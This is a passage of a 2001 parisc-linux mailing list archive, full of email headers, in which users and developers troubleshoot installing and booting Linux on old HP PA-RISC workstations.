NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620288 21973 80.91.229.3 (22 Nov 2014 01:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:08 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 00:35:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1B64482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 00:35:36 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id IAA29200
          for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 08:37:43 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <004901c1096c$290de920$0f809b8e@ati.stlawrencec.on.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:11576

Igot the probleme once , but no more ! 
But try again it'll pass ( i hope for you ...)
if you get installedc from .9.1 tell me because for my 735/99 it seems not to 
work ...

Le Mardi 10 Juillet 2001 20:14, vous avez crit :
> Well so far we've gotten the installer to boot using the serial console.
> The problem lies in installing the base system. It will download and
> extract the files needed then it hangs during installation. Anyone
> encounter this?
>
> I'm currently downloading the 0.91 release. WIll this solve that problem?

----------------------------------------
Content-Type: text/html; charset="iso-8859-1"; name="Pices jointes : 1"
Content-Transfer-Encoding: quoted-printable
Content-Description: 
----------------------------------------

-- 
_______________________________________

                      Matthieu Le Corre 
                    Service informatique
 Ecole Polytechnique de l'Universit de Nantes
     Matthieu.Lecorre@polytech.univ-nantes.fr
                        02.40.68.32.23
_______________________________________




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install problems on the 735/99
Date: Wed, 11 Jul 2001 09:32:17 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010711093217.E18375@linuxcare.com>
References: <004901c1096c$290de920$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620288 21976 80.91.229.3 (22 Nov 2014 01:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 02:33:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA864482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 02:33:34 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6592CB00C; Wed, 11 Jul 2001 09:32:17 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <004901c1096c$290de920$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Tue, Jul 10, 2001 at 02:14:29PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11577

On Tue, Jul 10, 2001 at 02:14:29PM -0400, rpengelly wrote:
> Well so far we've gotten the installer to boot using the serial console. The problem lies in installing the base system. It will download and extract the files needed then it hangs during installation. Anyone encounter this? 

735 uses a PA7100, PCX-T cpu, so I'd expect 0.9 to have problems.

> I'm currently downloading the 0.91 release. WIll this solve that problem?

Yes, it should do.

Richard





From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Wed, 11 Jul 2001 09:46:24 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010711094624.F18375@linuxcare.com>
References: <ccboone@yahoo.com> <200107110545.XAA31374@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620289 22234 80.91.229.3 (22 Nov 2014 01:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:09 +0000 (UTC)
Cc: Charles Boone <ccboone@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 02:47:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AD68482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 02:47:41 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7DCD6B00C; Wed, 11 Jul 2001 09:46:24 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200107110545.XAA31374@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Tue, Jul 10, 2001 at 11:45:15PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11578

On Tue, Jul 10, 2001 at 11:45:15PM -0600, Grant Grundler wrote:
> Charles Boone wrote:
> ...
> > I do have one question, why
> > would it not try to install the 64bit version? I was
> > pretty sure that a C240 is a 64bit system.
> 
> PDC on the C240 (and similar C-models of that generation) only
> support PDC calls in "narrow" (ie 32-bit) mode. Sounds like the decision
> to install 32 vs 64-bit depends on the PDC capabilities bit.
> Can anyone offhand confirm/deny?

Hmm, our installer installs either a 32 bit kernel or a 64 bit one
which does wide PDC calls.  So, I guess we will always install a
32 bit kernel on Cxx.  Installing a 64 bit kernel with narrow PDC
calls later would be an option (once it works).  Do we leave building
that kernel as an exercise for the user, or or do we have one packaged
in the archive?

Richard





From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Wed, 11 Jul 2001 09:48:16 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010711094816.G18375@linuxcare.com>
References: <rhirst@linuxcare.com> <200107110536.XAA31339@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620289 22236 80.91.229.3 (22 Nov 2014 01:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:09 +0000 (UTC)
Cc: Charles Boone <ccboone@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 02:49:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88301482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 02:49:33 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E0F2BB00C; Wed, 11 Jul 2001 09:48:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200107110536.XAA31339@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Tue, Jul 10, 2001 at 11:36:25PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11579

On Tue, Jul 10, 2001 at 11:36:25PM -0600, Grant Grundler wrote:
> Richard Hirst wrote:
> > IAOQ = _gsc_readl + 8
> > called from dino_in32()
> > I guess it was dino_in32(0xc1b21ec0), which looks odd.
> 
> It's definitely wrong. dino_in32() pokes dino to generate IO Port
> transactions and Dino lives in 0xF... address range. This suggests the
> pci_dev->sys_data is garbage (perhaps not initialized?) or points to garbage.
> Perhaps for Dino's built-in PS/2 or RS232 port?
> 
> Sorry, I didn't follow this thread earlier. Does console output hint
> which PCI device was involved (if any)?

Not obviously, and it failed in the middle of the install, so presumably
whatever device was involved had been accessed successfully earlier.

Richard





From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'Richard Hirst' <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux
Date: Wed, 11 Jul 2001 10:00:09 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010711100009.J18375@linuxcare.com>
References: <41E365428D7DD21192B700104BB0EA3D01526E2B@nttue01.tue.integrata.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620289 22237 80.91.229.3 (22 Nov 2014 01:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joachim Kress <jkress@unilog.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 03:01:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440CE482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 03:01:26 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9F46FB00C; Wed, 11 Jul 2001 10:00:09 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <41E365428D7DD21192B700104BB0EA3D01526E2B@nttue01.tue.integrata.de>; from jkress@unilog.de on Wed, Jul 11, 2001 at 10:44:49AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11580

On Wed, Jul 11, 2001 at 10:44:49AM +0200, Joachim Kress wrote:
> 
> 	the Workstation boot and then will stop
> 	with "BOOT_ADMIN"
> 
> 	first step:
> 	then i boot with "boot scsi.1.0" (CDROM Address)
> 	the Workstation is booting and falling back to
> 	"BOOT_ADMIN"

Hmm, ok.  I was hoping it might say something like "ipl checksum error",
or "bad lif magic".

It might be a hardware probem with the CDROM, cable, or terminators,
I suppose.  Can you try to boot over the network from a bootp server?
The README on the CD should help.

Richard





From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install on a 715/75 (wont boot)
Date: Wed, 11 Jul 2001 08:26:08 -0400
Lines: 99
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162684@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620290 22240 80.91.229.3 (22 Nov 2014 01:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:10 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'rhirst@linuxcare.com'" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 06:26:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38937482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 06:26:14 -0600 (MDT)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <3VL0XNAH>; Wed, 11 Jul 2001 08:26:13 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11581

> -----Urspr=FCngliche Nachricht-----
> Von:	Richard Hirst [SMTP:rhirst@linuxcare.com]
> Gesendet am:	Dienstag, 10. Juli 2001 15:10
> An:	Pedot, Wolfgang
> Cc:	parisc-linux@lists.parisc-linux.org
> Betreff:	Re: [parisc-linux] Install on a 715/75 (wont boot)
>=20
> On Tue, Jul 10, 2001 at 02:45:59AM -0400, Pedot, Wolfgang wrote:
> > Hi,
> >=20
> > I just dug out a 715/75 at work (64MB RAM, 2x1GB HD). Now I=B4ve =
cleaned it
> and
> > brought it to live I want to install Linux but the problem is =
neither 0.9
> nor
> > 0.9.1 (downloaded yesterday) boots. I connected an external =
SCSI-CDRom
> (Toshiba
> > 6401) and the 715 detects it and I can tell it to boot from this =
drive but I
> get
> > an IPL Checksum Error with 0.9 (tried with two CDs) and "Wrong IPL =
Magic"
> with
> > 0.9.1. Both Images were downloaded and burned correctly as far as I =
can
> tell.
> > Now since this is my first experience with a PARISC-Machine I=B4m a =
little bit
> > helpless, any hints?
>=20
> For 0.9.1 it sounds like you picked up one of the broken versions
> of the ISO.  A new image was posted yesterday, so if you downloaded
> before that, please try again.
>=20
> Ok, i downloaded the new one and it works better but still no =
installer
> because my machine freezes at "branching to kernel at <addr>". Heres =
the
> output:
>=20
> Trying scsi.4.0
> Boot path initialized.
> Attemption to load IPL.
>=20
>=20
> Hard bootet.
> palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
> 0/vmlinux32 2853588 bytes @ 0x6ad6800
> 0/vmlinux64 3585851 bytes @ 0x6d8f800
> 0/ramdisk 1991209 bytes @ 0x70fb000
>=20
> Command line: 'root=3D/dev/ram console=3Dtty0 sti=3D0 =
sti_font=3DVGA8x16 TERM=3Dlinux'
>=20
> Kernel: partition 0 file /vmlinux
> Ramdisk: partition 0 file /ramdisk
> Warning: kernel name doesn=B4t end with 32 or 64... Guessing =
Annoyance: Firmware
> does not support PDC_MODEL_CAPABILITIES call
> 32
> ELF32 executable
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1606948 mediaptr 0x1000
> Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> Loading ramdisk 1991209 bytes @ 03e09000...
> branching to kernel entry point 0x00100000
>=20
> 0.9 didn't work on 715/75 anyway, but I would not have expected your
> particular error.
>=20
> I have never booted my 715/75 from CD; I've always booted it from
> the network.  The README on the CD should explain (briefly) how to
> do that.
>=20
> =20
> Well I tried to boot using bootp but it seems the 715 and my =
bootp-Server
> don=B4t understand each other. I have a running bootpd but it wont =
get anything
> from the 715 because it doesnt send UDP-Pakets but LLC-Pakets =
directly to the
> given MAC. Since I=B4m new to Parisc-Machine I=B4m maybe doing =
something wrong, I
> press ESC at bootup and enter "a" to get to the Boot-Admin-Menu, then =
I say
> "boot lan.<mac_of_bootp_server>" and I see that there are some =
LLC-Pakets
> coming to the Bootp-Server but there are no responses....
>=20
> mfG
> Wolfgang Pedot
>=20




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install on a 715/75 (wont boot)
Date: Wed, 11 Jul 2001 08:29:54 -0400
Lines: 94
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162685@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620290 22245 80.91.229.3 (22 Nov 2014 01:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:10 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 06:31:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cindrpmx1.corp.harris.com (cindrpmx1.corp.harris.com [137.237.241.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57F5D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 06:31:40 -0600 (MDT)
Original-Received: by cindrpmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <N3H11JAP>; Wed, 11 Jul 2001 08:31:39 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11582

Sorry, the last mail looked a little strange, here is the correct =
version:


	On Tue, Jul 10, 2001 at 02:45:59AM -0400, Pedot, Wolfgang wrote:
	> Hi,
	>=20
	> I just dug out a 715/75 at work (64MB RAM, 2x1GB HD). Now I=B4ve =
cleaned
it and
	> brought it to live I want to install Linux but the problem is =
neither
0.9 nor
	> 0.9.1 (downloaded yesterday) boots. I connected an external =
SCSI-CDRom
(Toshiba
	> 6401) and the 715 detects it and I can tell it to boot from this =
drive
but I get
	> an IPL Checksum Error with 0.9 (tried with two CDs) and "Wrong IPL
Magic" with
	> 0.9.1. Both Images were downloaded and burned correctly as far as I
can tell.
	> Now since this is my first experience with a PARISC-Machine I=B4m a
little bit
	> helpless, any hints?

	For 0.9.1 it sounds like you picked up one of the broken versions
	of the ISO.  A new image was posted yesterday, so if you downloaded
	before that, please try again.

Ok, i downloaded the new one and it works better but still no installer =
because
my machine freezes at "branching to kernel at <addr>". Heres the =
output:

Trying scsi.4.0
Boot path initialized.
Attemption to load IPL.


Hard bootet.
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
0/vmlinux64 3585851 bytes @ 0x6d8f800
0/ramdisk 1991209 bytes @ 0x70fb000

Command line: 'root=3D/dev/ram console=3Dtty0 sti=3D0 =
sti_font=3DVGA8x16 TERM=3Dlinux'

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn=B4t end with 32 or 64... Guessing Annoyance: =
Firmware
does not support PDC_MODEL_CAPABILITIES call
32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
Loading ramdisk 1991209 bytes @ 03e09000...
branching to kernel entry point 0x00100000

	0.9 didn't work on 715/75 anyway, but I would not have expected your
	particular error.

	I have never booted my 715/75 from CD; I've always booted it from
	the network.  The README on the CD should explain (briefly) how to
	do that.

	=20
Well I tried to boot using bootp but it seems the 715 and my =
bootp-Server don=B4t
understand each other. I have a running bootpd but it wont get anything =
from the
715 because it doesnt send UDP-Pakets but LLC-Pakets directly to the =
given MAC.
Since I=B4m new to Parisc-Machine I=B4m maybe doing something wrong, I =
press ESC at
bootup and enter "a" to get to the Boot-Admin-Menu, then I say "boot
lan.<mac_of_bootp_server>" and I see that there are some LLC-Pakets =
coming to
the Bootp-Server but there are no responses....

mfG
Wolfgang Pedot







From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install on a 715/75 (wont boot)
Date: Wed, 11 Jul 2001 15:38:49 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20010711153849.N18375@linuxcare.com>
References: <8D4C69676E66D511A1CB00508BBBB192162685@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620290 22247 80.91.229.3 (22 Nov 2014 01:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:10 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 08:40:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF6B4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 08:40:08 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 06BC1B00C; Wed, 11 Jul 2001 15:38:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB192162685@ranmx1.ran.harris.com>; from wpedot@harris.com on Wed, Jul 11, 2001 at 08:29:54AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11583

On Wed, Jul 11, 2001 at 08:29:54AM -0400, Pedot, Wolfgang wrote:
> 	For 0.9.1 it sounds like you picked up one of the broken versions
> 	of the ISO.  A new image was posted yesterday, so if you downloaded
> 	before that, please try again.
> 
> Ok, i downloaded the new one and it works better but still no installer because
> my machine freezes at "branching to kernel at <addr>". Heres the output:
> 
> Trying scsi.4.0
> Boot path initialized.
> Attemption to load IPL.
> 
> 
> Hard bootet.
> palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
> 0/vmlinux32 2853588 bytes @ 0x6ad6800
> 0/vmlinux64 3585851 bytes @ 0x6d8f800
> 0/ramdisk 1991209 bytes @ 0x70fb000
> 
> Command line: 'root=/dev/ram console=tty0 sti=0 sti_font=VGA8x16 TERM=linux'

STI console doesn't work on 715/75, you must use a serial console.

> Kernel: partition 0 file /vmlinux
> Ramdisk: partition 0 file /ramdisk
> Warning: kernel name doesnt end with 32 or 64... Guessing Annoyance: Firmware
> does not support PDC_MODEL_CAPABILITIES call
> 32
> ELF32 executable
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1606948 mediaptr 0x1000
> Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> Loading ramdisk 1991209 bytes @ 03e09000...
> branching to kernel entry point 0x00100000
> 
> 	0.9 didn't work on 715/75 anyway, but I would not have expected your
> 	particular error.
> 
> 	I have never booted my 715/75 from CD; I've always booted it from
> 	the network.  The README on the CD should explain (briefly) how to
> 	do that.
> 
> 	 
> Well I tried to boot using bootp but it seems the 715 and my bootp-Server dont
> understand each other. I have a running bootpd but it wont get anything from the
> 715 because it doesnt send UDP-Pakets but LLC-Pakets directly to the given MAC.
> Since Im new to Parisc-Machine Im maybe doing something wrong, I press ESC at
> bootup and enter "a" to get to the Boot-Admin-Menu, then I say "boot
> lan.<mac_of_bootp_server>" and I see that there are some LLC-Pakets coming to
> the Bootp-Server but there are no responses....

715/75 uses rbootd, not bootp.  There is a copy in
ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/

Richard





From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jari Eskelinen" <jari.eskelinen@enfo.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60, kernel 2.4.6 and keyboard.
Date: 11 Jul 2001 18:18:00 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <JA8AAAAAAd8izgABYQABMhINAcxU@enfo.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416620291 22251 80.91.229.3 (22 Nov 2014 01:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 09:21:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from posti.raketti.net (titan.raketti.net [212.146.0.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 289F5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 09:21:45 -0600 (MDT)
Original-Received: from lx01.tietosavo.fi (lx01.tietosavo.fi [212.146.13.66])
	by posti.raketti.net (8.10.0/8.10.0) with ESMTP id f6BFLgE10891
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 18:21:43 +0300 (EET DST)
Original-Received: from tiimigw.tietosavo.fi ([194.86.132.93]:32521 "EHLO
	tiimigw.tietosavo.fi") by lx01.tietosavo.fi with ESMTP
	id <S387880AbRGKPVg> convert rfc822-to-8bit; Wed, 11 Jul 2001 18:21:36 +0300
X-Map-MIXER-Originators: false
Envelope-ID: JA8AAAAAAd8izgABYQABMhINAcxU@enfo.fi
Disposition-Notification-To: jari.eskelinen@enfo.fi
X-Mailer: TeamWARE Connector for MIME
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:11584

Hi!

I have 712/60 machine and I have used 2.4.0-pa30 kernel with it with great success. Today I tried to compile 2.4.6-pa11 kernel (cross-compiling with my P800, it was horrible sloooooow with 721/60 :) and it almost succeeded. Everything else works, but PS/2 keyboard won't just work. Nothing comes to screen when typing. Logging from network works as usual. Kernel seems to recognise keyboard:

PS/2 keyboard controller at 0xf0108000 (irq 69) found, device attached.
Lasi PS/2 wait 3734
PS/2 psaux controller at 0xf0108100 (irq 69) found, device attached.

But it won't work. Mouse works fine, I can login if playing with mouse and gpm (cut r, paste, cut o, paste paste, cut t, paste, cut return, paste etc.) :D

Have anybody similiar experiences and most importantly, can anybody tell how to solve ths problem?

Thanks!

-- 
Jari Eskelinen




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Wed, 11 Jul 2001 09:23:33 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <E15KLpt-0003hL-00@noam.fc.hp.com>
References: <ccboone@yahoo.com> <200107110545.XAA31374@puffin.external.hp.com>  <20010711094624.F18375@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620291 22255 80.91.229.3 (22 Nov 2014 01:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:11 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	Charles Boone <ccboone@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 09:23:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BC77482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 09:23:40 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
